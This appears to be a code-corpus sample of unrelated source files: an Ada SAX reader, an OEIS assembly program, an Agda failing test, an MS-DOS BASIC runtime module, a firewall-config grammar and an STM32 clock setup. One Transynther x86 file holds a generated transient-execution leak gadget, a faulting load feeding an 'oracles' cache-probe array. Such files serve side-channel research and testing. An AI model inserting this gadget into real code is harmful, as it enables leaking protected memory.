begin
return
League.Strings.Internals.Create
(Matreshka.Internals.XML.Entity_Tables.System_Id
(Self.Reader.Entities, Self.Reader.Scanner_State.Entity));
end System_Id;
-------------
-- Version --
-------------
overriding function Version
(Self : not null access constant Simple_Shared_Locator)
return League.Strings.Universal_String is
begin
case Self.Reader.Version is
when XML_1_0 =>
return League.Strings.To_Universal_String ("1.0");
when XML_1_1 =>
return League.Strings.To_Universal_String ("1.1");
end case;
end Version;
end XML.SAX.Simple_Readers;
|
oeis/140/A140777.asm | neoneye/loda-programs | 11 | 18003 | ; A140777: a(n) = 2*prime(n) - 4.
; Submitted by <NAME>(s3)
; 0,2,6,10,18,22,30,34,42,54,58,70,78,82,90,102,114,118,130,138,142,154,162,174,190,198,202,210,214,222,250,258,270,274,294,298,310,322,330,342,354,358,378,382,390,394,418,442,450,454,462,474,478,498,510,522
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
sub $0,2
mul $0,2
|
test/Fail/Issue2858-codata.agda | shlevy/agda | 0 | 2193 | <reponame>shlevy/agda<filename>test/Fail/Issue2858-codata.agda
interleaved mutual
data CoNat : Set
record ∞CoNat : Set
constructor
zero : CoNat
record ∞CoNat where
coinductive
field force : CoNat
constructor
suc : ∞CoNat → ?
|
45/runtime/rt/cninit.asm | minblock/msdos | 0 | 20728 | <filename>45/runtime/rt/cninit.asm
TITLE CNINIT.ASM - Console I/O Initialization/Termination module
;***
;CNINIT.ASM - Console I/O initialization/termination module
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
; This module contains screen and keyboard initialization and termination
; support for the BASIC 3.0 runtime. This module will only be present
; in a user's program when a program contains I/O statements.
;
;******************************************************************************
INCLUDE switch.inc
INCLUDE rmacros.inc
;
; Code Segments
;
USESEG <INIT_CODE> ;Initialization
USESEG <CN_TEXT> ;Console I/O
USESEG <RT_TEXT> ;Runtime core
USESEG <ST_TEXT> ;String
USESEG <DV_TEXT>
;
; Data Segments
;
USESEG <_BSS> ;runtime data (uninitialized)
USESEG <_DATA> ;runtime data (initialized)
USESEG <XIB> ; initializer segment
USESEG <XI> ;initializer segment
USESEG <XIE> ; initializer segment
INCLUDE seg.inc
INCLUDE compvect.inc ;component vectors
INCLUDE messages.inc ;messages and associated numbers
INCLUDE files.inc
INCLUDE dc.inc
INCLUDE idmac.inc
INCLUDE const.inc
INITIALIZER B$xCNINI ;put B$xCNINI in initializer list.
SUBTTL Runtime code externals
PAGE
sBegin DV_TEXT
externNP B$NearRet ;for disp vectors in compvect.inc
sEnd DV_TEXT
sBegin RT_TEXT
externNP B$PUTNUM ;print message from message number
sEnd RT_TEXT
sBegin ST_TEXT
sEnd ST_TEXT
sBegin CN_TEXT
externNP B$CLREOL ; clear to end of line
externNP B$LastLine ; clear last line
externNP B$KEYDSP ; display function keys if on
externNP B$KYBINI
externNP B$TTYIN
externNP B$SCNLOC ; update b$CURSOR & displ user csr
externNP B$GETCSRDATA ; get active page cursor position
externNP B$OFFCSR ; display user cursor
externNP B$RESETSCN ; reset screen to entry-time state
externNP B$GWTERM ; OEM's routine
sEnd CN_TEXT
SUBTTL Runtime data definitions for BASIC Console I/O
PAGE
sBegin _DATA
;
; External data
;
externW b$ini_disp ;One time initialization dispatch table
externW b$term_disp ;One time termination dispatch table
externW b$run_disp ;RUN time initialization dispatch table
externW b$shli_disp ;SHELL time initialization dispatch table
externW b$shlt_disp ;SHELL time termination dispatch table
externW b$errnum ;error number - non-zero after error
externB b$Chaining ;non-zero if we are CHAINing.
externB b$IOFLAG ; Misc. IO flags. Defined in GWINI.ASM
externW b$CURSOR ; (1,1)-relative screen cursor
externW b$CurPages ; current active page and visual page
externB b$ActPage ; current active page
sEnd _DATA
sBegin _BSS
;
; Local data
;
staticB ctlcsave,? ;Intial Control C processing state.
sEnd _BSS
SUBTTL Runtime Console I/O Initialization
PAGE
assumes CS,INIT_CODE
sBegin INIT_CODE
;***
;B$xCNINI - Console I/O initializer
;PLM B$xCNINI()
;
;Purpose:
; Initializer for Console I/O component. This routine is called
; by the Crt0 startup before _main is called. It will update the
; indirect dispatch tables for the console I/O routines. This
; insures that the only time that Console I/O is accessed is when
; this module is linked into the user program.
;
;Entry:
; None.
;
;Exit:
; b$ini_disp.CN_IVEC - contains pointer to B$CNINI
; b$term_disp.CN_TVEC - contains pointer to B$CNTERM
; b$run_disp.CN_RVEC - contains pointer to B$CNRUNINI
; b$shli_disp.CN_SIVEC - contains pointer to B$CNKBDSET
; b$shlt_disp.CN_STVEC - contains pointer to B$CNKBDRESET
;
;Uses:
; None.
;
;Exceptions:
; None.
;****
cProc B$xCNINI,<FAR>
cBegin
;
; update "ONE" time initialization dispatch address to B$CNINI
;
MOV WORD PTR [b$ini_disp].CN_IVEC,CN_TEXTOFFSET B$CNINI
;
; update "ONE" time termination dispatch address to B$CNTERM
;
MOV WORD PTR [b$term_disp].CN_TVEC,CN_TEXTOFFSET B$CNTERM
;
; update "RUN" time initialization dispatch address to B$CNRUNINI
;
MOV WORD PTR [b$run_disp].CN_RVEC,CN_TEXTOFFSET B$CNRUNINI
;
; update SHELL "initialization" dispatch address to B$CNKBDSET
;
MOV WORD PTR [b$shli_disp].CN_SIVEC,CN_TEXTOFFSET B$CNKBDSET
;
; update SHELL "termination" dispatch address to B$CNKBDRESET
;
MOV WORD PTR [b$shlt_disp].CN_STVEC,CN_TEXTOFFSET B$CNKBDRESET
cEnd
sEnd INIT_CODE
PAGE
assumes CS,CN_TEXT
sBegin CN_TEXT
;***
;B$CNINI - One time initialization for Console I/O
;void pascal B$CNINI()
;
;Purpose:
; BC3
; ---
; Initializes screen and keyboard for standard character
; I/O. B$CNINI does the following:
; Determines if input and/or output is redirected, and sets
; the appropriate bits in b$IOFLAG.
; Saves high level screen dimensions
; Save initial screen variables (low level)
; DOS 3 specific:
; Save CTL-C state
; Set ignore CTL-C
; Save/Set keyboard interupt vector (low level)
; DOS 5 specific:
; Set ignore ctl-c signal
; Key board key trapping (??)
;
; QB3
; ---
; Same as above. (WHO/HOW does CTL-C get handled for QB3??)
;
;Entry:
; None.
;
;Exit:
;
;Uses:
;
;Exceptions:
;
;****
cProc B$CNINI,<PUBLIC,NEAR>
cBegin
; Get the DOS information for file handles 0 and 1, and set the
; appropriate bit of b$IOFLAG if I/O is redirected.
MOV BX,STDOUT ; start with stdout
MOV CL,RED_OUT ; test for redirected output
REDIR_LOOP: ; loop will only go through twice
; CL = bit mask RED_INP (when BX = stdin) or RED_OUT (when BX = stdout)
MOV AX,C_IOCTL SHL 8 + 0 ; prepare to issue IOCTL(0)
CALLOS ; get device info
TEST DL,FL_CHAR ; is handle a file?
JZ REDIR_IO ; brif so -- redirected
; DX = device information
TEST DL,FL_CONINP OR FL_CONOUT ; console device?
JNZ NO_REDIR_IO ; brif so -- not redirected
REDIR_IO:
OR b$IOFLAG,CL ; set appropriate redir flag
NO_REDIR_IO:
MOV CL,RED_INP ; prepare to check stdin
DEC BX ; for redirected input
JZ REDIR_LOOP ; brif stdin not processed yet
CALL B$CNKBDSET ;initialize the keyboard
CNINIExit:
cEnd
PAGE
;***
;B$CNRUNINI - RUN time console i/o initialization.
;void pascal B$CNRUNINI()
;
;Purpose:
; BC3 - void pascal B$CNRUNINI()
; ---
; B$CNRUNINI does the following:
; Set initial cursor variables (low level)
; Set initial Window boundaries (high and low level)
; Clear screen and home cursors.
; Redisplay function keys if ON.
;
; QB3 - void pascal B$CNRUNINI()
; ---
; Same as above. (How about Function Keys???)
;
;Entry:
; None.
;
;Exit:
; ??
;
;Uses:
; None.
;
;Exceptions:
; None.
;****
cProc B$CNRUNINI,<NEAR>
cBegin
cEnd
PAGE
;***
;B$CNKBDSET - Keyboard Initialization
;void pascal B$CNKBDSET()
;
;Purpose:
; This routine is responsible for initializing the keyboard.
; It gets called during system initializaition, RUN, CHAIN,
; and SHELL.
; BC3
; ---
; Initializes keyboard for standard character I/O.
; DOS 3 specific:
; Save CTL-C state
; Set ignore CTL-C
; Save/Set keyboard interupt vector (low level)
; DOS 5 specific:
; Set ignore ctl-c signal
; Put Keyboard in Binary mode [25]
; Key board key trapping (??)
;
; QB3
; ---
; Same as above. (WHO/HOW does CTL-C get handled for QB3??)
;
;Entry:
; None.
;
;Exit:
; ctlcsave - contains current control c processing state.
;
;Uses:
; None.
;
;Exceptions:
; None.
;
;****
cProc B$CNKBDSET,<NEAR>
cBegin
XOR AL,AL ;Get control c function code
CALLOS CTRLC ;Read control c processing state.
MOV ctlcsave,DL ;save initial control c state.
XOR DL,DL ;turn off control C processing
MOV AL,1 ;Set control c function code
CALLOS CTRLC ;turn off control c processing.
cEnd
SUBTTL Runtime Console I/O termination routines
PAGE
;***
;B$CNKBDRESET - Keyboard Termination
;void pascal B$CNKBDRESET()
;
;Purpose:
; This routine is responsible for resetting the keyboard.
; It gets called during system termination, RUN, CHAIN,
; and SHELL.
; BC3
; ---
; resets keyboard for standard character I/O.
; reset CTL-C state
; reset keyboard interupt vector (low level)
;
;Entry:
; ctlcsave - contains control c processing state upon entry.
;
;Exit:
; None.
;
;Uses:
; None.
;
;Exceptions:
; None.
;
;****
cProc B$CNKBDRESET,<NEAR>
cBegin
MOV DL,ctlcsave ;get initial control c state.
MOV AL,1 ;Set control c function code
CALLOS CTRLC ;reset control c processing.
cEnd
sEnd CN_TEXT
PAGE
assumes CS,CN_TEXT
sBegin CN_TEXT
;***
;B$CNTERM - One time initialization for Console I/O
;void pascal B$CNTERM()
;
;Purpose:
; BC3
; ---
; Initializes screen and keyboard for standard character
; I/O. B$CNTERM does the following:
; Saves high level screen dimensions
; Save initial screen variables (low level)
; DOS 3 specific:
; Save CTL-C state
; Set ignore CTL-C
; Save/Set keyboard interupt vector (low level)
; DOS 5 specific:
; Set ignore ctl-c signal
; Key board key trapping (??)
;
; QB3
; ---
; Same as above. (WHO/HOW does CTL-C get handled for QB3??)
;
;Entry:
; None.
;
;Exit:
;
;Uses:
;
;Exceptions:
;
;****
cProc B$CNTERM,<NEAR>
cBegin
CMP b$errnum,0 ;Has an error occurred?
JZ NOPAUSE ;brif not.
CALL FAR PTR B$Pause ;Yes: display message and wait for char.
NOPAUSE:
CMP b$Chaining,0 ;Are we in the process of chaining?
JNZ Chaining ;brif so.
TEST b$IOFLAG,SCN_INIT ; have we done any output yet?
JZ NoReset ; brif not -- don't reset screen
CALL B$RESETSCN ; reset screen to entry time state
NoReset:
CALL B$GWTERM ; OEM termination
Chaining:
cCall B$CNKBDRESET ;RESET the keyboard
cEnd
;***
;B$Pause - wait until user hits a key to return.
;
;Purpose:
; This module is needed on machines that clear the screen when resetting
; screen mode. The error message would just flash on the screen before
; being erased in B$CNTERM (which calls OEM's B$GWTERM routine).
; Also used when QBI compile dialog spawns processes which have
; errors. The Hit any key message will be displayed before returning
; to the user interface, which will redisplay the editting window.
;
;Entry:
; None.
;
;Exit:
; None.
;
;Uses:
; Per convention.
;
;Exceptions:
; None.
;****
cProc B$Pause,<PUBLIC,FAR>
cBegin
TEST b$IOFLAG,RED_INP+RED_OUT ; input or output redirected?
JNZ PauseExit ; brif so -- do nothing
MOV DX,b$CURSOR ; DX = logical cursor for this page
PUSH DX ; save it for later
MOV AX,b$CurPages ; AX = [visual|active] pages
PUSH AX ; save old page values
CMP AH,AL ; were active and visual pages the same?
JE SamePages ; brif so -- don't read cursor position,
; since it may be wrong.
MOV b$ActPage,AH ; active page = visual page
CALL B$GETCSRDATA ; DX = cursor position for this page
SamePages:
PUSH DX ; save cursor for visual page
CALL B$LastLine ; DX = b$CURSOR = first column of last line
CALL B$CLREOL ; erase last line (cursor left at start)
MOV AX,MS_HITTORETURN ;"Hit any key to return to system"
cCall B$PUTNUM ;print the message
CALL B$KYBINI ; Erase any typeahead
CALL B$TTYIN ; Wait for any key
CALL B$LastLine ; DX = b$CURSOR = first column of last line
CALL B$CLREOL ; erase last line (cursor left at start)
POP DX ; DX = original cursor for visual page
CALL B$OFFCSR ; display off cursor at original location
; on visual page (forces relocation)
POP AX ; restore active page to old value
MOV b$ActPage,AL
POP DX ; DX = old logical cursor for active page
CMP AH,AL ; were active and visual pages the same?
JNE NoDisp ; brif not -- don't display function keys
CALL B$KEYDSP ; display function keys in active page if
; on (clears last line and restores cursor)
NoDisp:
CALL B$SCNLOC ; update b$CURSOR and display user cursor
PauseExit:
cEnd
sEnd CN_TEXT
END
|
projects/batfish/src/main/antlr4/org/batfish/grammar/palo_alto/PaloAlto_zone.g4 | zabrewer/batfish | 763 | 5299 | parser grammar PaloAlto_zone;
import PaloAlto_common;
options {
tokenVocab = PaloAltoLexer;
}
s_zone
:
ZONE s_zone_definition?
;
s_zone_definition
:
name = variable
(
sz_network
)?
;
sz_network
:
NETWORK
(
szn_external
| szn_layer2
| szn_layer3
| szn_tap
| szn_virtual_wire
)?
;
szn_external
:
EXTERNAL variable_list?
;
szn_layer2
:
LAYER2 variable_list?
;
szn_layer3
:
LAYER3 variable_list?
;
szn_tap
:
TAP variable_list?
;
szn_virtual_wire
:
VIRTUAL_WIRE variable_list?
;
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_1615.asm | ljhsiun2/medusa | 9 | 166597 | <filename>Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca.log_21829_1615.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x1a234, %rcx
nop
nop
nop
nop
add $10058, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
nop
cmp %r9, %r9
lea addresses_normal_ht+0x72cc, %rbx
cmp $47442, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
nop
nop
add $56721, %r11
lea addresses_D_ht+0x136b4, %rsi
lea addresses_WC_ht+0x3d74, %rdi
nop
nop
add $2293, %rbp
mov $14, %rcx
rep movsq
nop
inc %r11
lea addresses_UC_ht+0x10710, %rcx
cmp $21199, %rdi
movw $0x6162, (%rcx)
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x4734, %rsi
nop
nop
add $39682, %rcx
mov $0x6162636465666768, %rbx
movq %rbx, %xmm3
and $0xffffffffffffffc0, %rsi
vmovaps %ymm3, (%rsi)
nop
nop
nop
nop
sub $2782, %rsi
lea addresses_normal_ht+0xc274, %rcx
nop
nop
nop
nop
nop
cmp $42254, %rdx
mov (%rcx), %bp
nop
inc %rcx
lea addresses_D_ht+0x79f4, %rdi
nop
nop
add $50705, %rsi
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
sub $44659, %rbp
lea addresses_WC_ht+0x7f94, %rsi
lea addresses_A_ht+0x14f8e, %rdi
and %rbp, %rbp
mov $60, %rcx
rep movsl
nop
nop
nop
dec %rbp
lea addresses_A_ht+0x1e1a4, %rsi
lea addresses_WC_ht+0x12450, %rdi
nop
nop
nop
and %rdx, %rdx
mov $32, %rcx
rep movsl
add %rdx, %rdx
lea addresses_UC_ht+0x8a74, %rsi
lea addresses_D_ht+0x9374, %rdi
nop
nop
dec %r11
mov $22, %rcx
rep movsb
cmp $7299, %r9
lea addresses_UC_ht+0xbbf4, %rsi
lea addresses_normal_ht+0xfbc, %rdi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov $15, %rcx
rep movsb
nop
nop
nop
nop
sub %r9, %r9
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %rbp
push %rbx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0x1d3f4, %rbx
nop
nop
nop
nop
and $15967, %rdi
movw $0x5152, (%rbx)
cmp %rbx, %rbx
// Store
lea addresses_A+0xf52c, %rbp
nop
nop
inc %r10
movl $0x51525354, (%rbp)
nop
nop
nop
nop
add %rbx, %rbx
// Load
lea addresses_D+0x16d74, %r10
nop
nop
nop
nop
nop
inc %rbx
movups (%r10), %xmm5
vpextrq $1, %xmm5, %rdi
nop
nop
nop
nop
nop
sub $4916, %r10
// Faulty Load
lea addresses_A+0xcff4, %rbx
cmp %rdx, %rdx
movaps (%rbx), %xmm6
vpextrq $1, %xmm6, %rsi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': True, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_A', 'same': True, 'AVXalign': True, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}}
{'46': 91, '45': 10867, '00': 3160, '48': 7711}
00 48 48 48 48 48 48 00 48 48 48 48 48 45 45 45 45 45 45 48 48 45 45 45 45 45 45 48 00 48 45 45 45 45 45 45 45 46 48 45 48 48 48 48 48 00 48 45 45 45 45 45 00 48 48 48 45 45 45 00 00 48 48 45 45 00 48 00 48 45 45 45 45 45 45 45 45 48 48 48 48 45 45 45 45 45 45 48 45 45 45 45 45 45 48 48 45 45 45 45 48 48 48 48 48 48 48 48 48 48 48 45 45 45 45 45 45 45 45 45 45 00 45 48 45 45 45 00 45 45 45 00 48 48 45 45 46 48 00 48 45 45 45 45 48 45 45 48 48 48 48 48 00 48 45 45 45 00 00 45 45 45 45 00 00 45 45 45 45 45 48 45 45 45 45 00 00 48 45 45 45 45 45 45 45 45 45 45 48 48 48 45 45 45 45 00 48 00 48 48 48 45 48 48 48 48 48 48 48 45 45 00 48 48 45 45 45 45 48 45 48 48 45 45 45 45 46 48 00 48 48 45 45 48 00 48 48 48 48 48 48 00 48 48 48 45 48 45 48 45 45 45 45 45 00 48 45 45 48 48 45 45 45 45 45 48 48 45 45 45 48 48 45 00 45 45 45 45 45 00 48 00 48 00 48 48 45 45 45 00 48 48 48 45 45 45 45 45 48 48 48 45 45 45 45 45 45 00 48 48 48 48 48 45 48 00 00 48 45 45 45 45 45 45 45 45 48 48 00 48 48 48 48 00 00 48 48 48 48 48 00 48 48 48 45 45 45 45 45 48 48 48 48 45 48 45 45 45 45 48 48 48 48 45 45 45 00 00 45 45 45 45 00 00 45 45 45 45 00 48 48 48 48 48 48 48 48 48 48 48 45 45 00 48 00 48 45 45 45 45 45 45 00 48 48 45 45 45 45 45 48 45 45 45 45 45 45 45 45 00 48 48 48 48 00 48 45 45 45 45 48 48 48 48 48 48 00 48 48 48 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 48 48 48 48 45 45 45 45 45 00 00 48 48 48 48 48 48 48 48 45 45 46 48 45 45 45 45 45 00 00 48 48 48 48 48 48 45 45 45 48 45 00 48 00 48 48 45 00 00 48 48 48 48 45 45 45 48 48 48 48 48 48 45 48 48 45 45 45 45 45 45 48 48 00 45 45 45 45 00 48 48 48 48 45 45 45 45 48 48 45 45 45 00 48 48 48 48 48 45 48 48 48 48 48 00 00 45 45 00 00 00 48 45 45 45 45 45 48 48 48 48 45 45 45 45 45 45 45 48 48 48 45 45 45 45 45 00 45 45 45 45 45 00 00 45 45 45 45 48 00 48 45 45 45 45 45 45 45 45 45 45 45 48 45 45 45 45 00 00 48 48 45 45 00 45 45 45 45 45 00 00 48 45 45 45 00 48 48 48 45 45 45 45 00 00 48 45 45 45 00 00 45 45 45 45 00 00 48 48 45 45 45 45 45 45 45 45 45 45 45 00 00 45 48 00 48 00 00 48 48 45 45 45 45 45 45 45 48 48 48 48 00 48 45 48 45 45 45 45 48 45 48 48 48 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 45 48 45 45 45 45 45 48 00 48 48 48 48 48 48 48 48 00 48 45 45 45 45 45 45 45 45 46 48 00 48 00 45 45 45 00 00 48 48 48 48 48 45 45 45 45 45 45 45 00 00 48 48 45 45 00 00 48 45 45 45 45 48 45 48 48 48 48 48 48 48 45 45 48 48 48 00 48 45 45 45 45 45 45 45 45 45 45 45 45 45 00 00 48 45 45 45 45 48 45 45 45 45 00 48 45 45 45 45 45 45 00 48 48 48 48 48 45 45 45 45 45 45 48 00 48 48 48 45 45 00 00 48 45 45 45 00 48 48 45 45 45 45 45 48 45 45 45 45 45 48 48 45 45 45 45 45 45 45 45 45 45 00 00 48 48 48 48 48 45 45 45 45 45 48 48 48 48 45 45 45 45 45 45 45 45 00 00 48 45 45 45 00 45 48 48 48 48 48 45 48 48 45 45 45 46 48 48 48 45 45 45 45 45 45 45 45 45 00 48 00 48 48 45 45 45 45 48 48 48 48 48 48 48 48 48 48 48 45 45 00 48 48 00 48 45 45 45 45 45 45 45 45 45 45 45 45 45 00 48 48 48 00 00 45 48 45 45 00 00 48 45 45 45 45 48
*/
|
programs/oeis/280/A280022.asm | karttu/loda | 1 | 162946 | <reponame>karttu/loda
; A280022: Expansion of phi_{5, 4}(x) where phi_{r, s}(x) = Sum_{n, m>0} m^r * n^s * x^{m*n}.
; 0,1,48,324,1792,3750,15552,19208,61440,85293,180000,175692,580608,399854,921984,1215000,2031616,1503378,4094064,2606420,6720000,6223392,8433216,6716184,19906560,12109375,19192992,21257640,34420736,21218430,58320000,29552672,66060288,56924208,72162144,72030000,152845056,71218118,125108160,129552696,230400000,118681962,298722816,150427244,314840064,319848750,322376832,234224688,658243584,328593657,581250000,487094472,716538368,426085974,1020366720,658845000,1180139520,844480080,1018484640,727041660,2177280000,858442142,1418528256,1638307944,2130706432,1499452500,2732361984,1370276228,2694053376,2176043616,3457440000,1829641032,5240401920,2101469834,3418469664,3923437500,4670704640,3374691936,6218529408,3116006480,7618560000,5208653241,5696734176,3986498964,11152318464,5637667500,7220507712,6874771320,10794516480,5646801690,15352740000,7680395632,12035401728,9575065728,11242785024,9774075000,21403533312,8675869538,15772495536,14985297756,21700000000,10614160902,23380534656,11705291624,24567029760,23337720000,20452126752,14156596908,38093690880,15527397710,31624560000,23074670232,39023280128,18587399154,40535043840,25185690000,38023426560,34104747222,34897999680,28876884624,74649600000,28509731173,41205222816,38452955688,52958388224,38085937500,78638781312,33298514048,68451041280,48738427056,71973720000,38873989572,102008180736,50064115360,65773258944,79716150000,92367544320,48613999818,104450093568,52262145740,129077760000,75888798912,87822769536,70251148968,173282623488,79569112500,100870552032,106464344868,127622867456,73932660150,188325000000,79022611352,160138444800,128227619754,161985212928,110822520000,232158431232,95996565758,149568311040,138051855576,247726080000,129004462272,250015355568,115769528804,212678075904,213465780000,191351950272,130669781928,382365204480,149278721943,270608040000,222309381060,269565621248,155859637134,329989023360,232596875000,356938678272,235561497840,271046481120,184792622580,573168960000,195337528022,368658990336,278135254008,412642344960,267067942500,459603154944,264131487576,419730640896,408316749120,469155600000,255525765312,690348883968,269172672194,416441737824,485822610000,588839833344,298215419238,719294292288,313647840200,744000000000,443969497872,509479723296,407563603440,872873293824,445057357500,561853997952,572843481912,812349784064,457927142640,1120210560000,420209321492,763546065408,592803694368,679516651584,564102165000,1306069401600,567647723776,745315090080,680876226216,1180650240000,601131706812,1107584171136,553946050784,1268886011904,1032844921875,892195159392,605394227748,1513308303360,632513450630,1208913120000,1093400187264,1303660339200,689667151914,1637027866656,878342580000,1302858654720,1009586099520,1386090461952,783074073840,2468413440000,816363419762,1368467096304,1269189521964,1538328318464,1232226213750,1845741873024,1042187462680,1815716167680,1291625664336
mov $1,$0
cal $0,282211 ; Coefficients in q-expansion of (6*E_2^2*E_4 - 8*E_2*E_6 + 3*E_4^2 - E_2^4)/6912, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively.
mul $1,$0
|
demo/adainclude/setup_pll.adb | e3l6/SSMDev | 0 | 15855 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- Copyright (C) 2012-2013, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
pragma Ada_2012; -- To work around pre-commit check?
pragma Restrictions (No_Elaboration_Code);
-- This initialization procedure mainly initializes the PLLs and
-- all derived clocks. For now it also initializes the first USART.
-- To be moved to s-textio, but needs clock info ???
with System.STM32F4; use System.STM32F4;
procedure Setup_Pll is
subtype HSECLK_Range is Integer range 1_000_000 .. 26_000_000;
subtype PLLIN_Range is Integer range 950_000 .. 2_000_000;
subtype PLLVC0_Range is Integer range 192_000_000 .. 432_000_000;
subtype PLLOUT_Range is Integer range 24_000_000 .. 168_000_000;
subtype SYSCLK_Range is Integer range 1 .. 168_000_000;
subtype HCLK_Range is Integer range 1 .. 168_000_000;
subtype PCLK1_Range is Integer range 1 .. 42_000_000;
subtype PCLK2_Range is Integer range 1 .. 84_000_000;
subtype SPII2S_Range is Integer range 1 .. 37_500_000;
pragma Unreferenced (SPII2S_Range);
-- These internal low and high speed clocks are fixed. Do not modify.
HSICLK : constant := 16_000_000;
LSICLK : constant := 32_000;
pragma Unreferenced (LSICLK);
-- The following external clock could be changed, but note that the PLL
-- values have been calculated for a 168 MHz system clock from an external
-- 8 MHz HSE clock. The PLL values are used when Activate_PLL is True.
HSECLK : constant HSECLK_Range := 8_000_000; -- ext. clock is 8 MHz
HSE_Enabled : constant Boolean := True; -- use high-speed ext. clock
HSE_Bypass : constant Boolean := False; -- don't bypass ext. resonator
LSI_Enabled : constant Boolean := True; -- use low-speed internal clock
Activate_PLL : constant Boolean := True;
Activate_PLLI2S : constant Boolean := False;
pragma Assert ((if Activate_PLL then HSE_Enabled),
"PLL only supported with external clock");
pragma Assert (not Activate_PLLI2S, "not yet implemented");
-------------------------------
-- Compute Clock Frequencies --
-------------------------------
PLLM_Value : constant := 8; -- divider in range 2 .. 63
PLLN_Value : constant := 336; -- multiplier in range 192 .. 432
PLLP_Value : constant := 2; -- divider may be 2, 4, 6 or 8
PLLQ_Value : constant := 7; -- multiplier in range 2 .. 15
PLLCLKIN : constant PLLIN_Range := HSECLK / PLLM_Value;
PLLVC0 : constant PLLVC0_Range := PLLCLKIN * PLLN_Value;
PLLCLKOUT : constant PLLOUT_Range := PLLVC0 / PLLP_Value;
PLLM : constant Word := PLLM_Value;
PLLN : constant Word := PLLN_Value * 2**6;
PLLP : constant Word := (PLLP_Value / 2 - 1) * 2**16;
PLLQ : constant Word := PLLQ_Value * 2**24;
HPRE : constant Word := RCC_CFGR.HPRE_DIV1;
PPRE1 : constant Word := RCC_CFGR.PPRE1_DIV4;
PPRE2 : constant Word := RCC_CFGR.PPRE2_DIV2;
SW : constant Word :=
(if Activate_PLL then RCC_CFGR.SW_PLL else RCC_CFGR.SW_HSI);
SYSCLK : constant SYSCLK_Range :=
(if Activate_PLL then PLLCLKOUT else HSICLK);
HCLK : constant HCLK_Range :=
(case HPRE is
when RCC_CFGR.HPRE_DIV1 => SYSCLK / 1,
